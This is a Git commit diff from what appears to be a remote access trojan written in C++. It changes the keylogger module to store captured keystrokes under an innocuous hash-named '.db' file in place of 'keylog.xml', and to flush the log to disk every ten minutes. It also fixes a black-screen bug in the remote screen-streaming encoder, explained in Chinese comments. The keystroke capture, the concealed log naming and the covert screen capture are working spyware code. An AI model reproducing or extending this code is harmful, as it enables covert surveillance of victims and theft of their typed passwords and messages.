Compare commits
2 Commits
dc83c2df42
...
fcd3b13ca8
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fcd3b13ca8 | ||
|
|
99be79b7ae |
@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
m_bIsOfflineRecord = offline;
|
m_bIsOfflineRecord = offline;
|
||||||
|
|
||||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
std::string fileName = GetExeHashStr() + ".db";
|
||||||
|
GET_FILEPATH(path, fileName.c_str());
|
||||||
strcpy_s(m_strRecordFile, path);
|
strcpy_s(m_strRecordFile, path);
|
||||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||||
|
|
||||||
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||||
HDESK desktop = NULL;
|
HDESK desktop = NULL;
|
||||||
clock_t lastCheck = 0;
|
clock_t lastCheck = 0;
|
||||||
|
auto lastSave = time(0);
|
||||||
while(pThis->m_bIsWorking) {
|
while(pThis->m_bIsWorking) {
|
||||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Sleep(5);
|
Sleep(5);
|
||||||
|
auto tm = time(0);
|
||||||
|
if (tm - lastSave > 600) {
|
||||||
|
lastSave = tm;
|
||||||
|
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
|
||||||
|
}
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
clock_t now = clock();
|
clock_t now = clock();
|
||||||
if (now - lastCheck > 1000) {
|
if (now - lastCheck > 1000) {
|
||||||
|
|||||||
@@ -7,8 +7,6 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
|
|
||||||
#define KEYLOG_FILE "keylog.xml"
|
|
||||||
|
|
||||||
#if ENABLE_KEYBOARD==0
|
#if ENABLE_KEYBOARD==0
|
||||||
#define CKeyboardManager1 CManager
|
#define CKeyboardManager1 CManager
|
||||||
|
|
||||||
|
|||||||
@@ -150,6 +150,12 @@ public:
|
|||||||
int m_GOP; // 关键帧间隔
|
int m_GOP; // 关键帧间隔
|
||||||
bool m_SendKeyFrame; // 发送关键帧
|
bool m_SendKeyFrame; // 发送关键帧
|
||||||
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
||||||
|
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
|
||||||
|
// false 时禁止 skip——避免单显示器路径
|
||||||
|
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
|
||||||
|
// 且被 GetFirstScreenData 预先填过同帧像素,
|
||||||
|
// 导致首帧 memcmp 错误命中、跳过 encode、
|
||||||
|
// 永远不产 IDR → web 黑屏
|
||||||
int m_nScreenCount; // 屏幕数量
|
int m_nScreenCount; // 屏幕数量
|
||||||
BOOL m_bEnableMultiScreen;// 多显示器支持
|
BOOL m_bEnableMultiScreen;// 多显示器支持
|
||||||
|
|
||||||
@@ -949,6 +955,7 @@ public:
|
|||||||
}
|
}
|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
|
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -974,9 +981,14 @@ public:
|
|||||||
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
|
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
|
||||||
// 维持 100-200 KB/s(每 4s GOP 还叠加一个 IDR)。整帧 memcmp BGRA
|
// 维持 100-200 KB/s(每 4s GOP 还叠加一个 IDR)。整帧 memcmp BGRA
|
||||||
// 找出真无变化帧直接跳过 encode,仅发 cursor;x264 走这里也省 CPU 无副作用。
|
// 找出真无变化帧直接跳过 encode,仅发 cursor;x264 走这里也省 CPU 无副作用。
|
||||||
|
//
|
||||||
|
// m_bEncoderPrimed 门:encoder 还没产出过任何包时不允许 skip。
|
||||||
|
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full,
|
||||||
|
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
|
||||||
|
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
|
||||||
LPBYTE prev = GetFirstBuffer();
|
LPBYTE prev = GetFirstBuffer();
|
||||||
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||||
if (prev && memcmp(nextData, prev, bgraSize) == 0) {
|
if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
|
||||||
*ulNextSendLength = 1 + offset; // 仅 cursor,无视频负载
|
*ulNextSendLength = 1 + offset; // 仅 cursor,无视频负载
|
||||||
return m_RectBuffer;
|
return m_RectBuffer;
|
||||||
}
|
}
|
||||||
@@ -987,6 +999,7 @@ public:
|
|||||||
}
|
}
|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
|
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义,skip 才安全
|
||||||
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
|
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
|
||||||
// 失败时下一帧会误以为"已发"而漏发真实变化。
|
// 失败时下一帧会误以为"已发"而漏发真实变化。
|
||||||
memcpy(prev, nextData, bgraSize);
|
memcpy(prev, nextData, bgraSize);
|
||||||
|
|||||||
Reference in New Issue
Block a user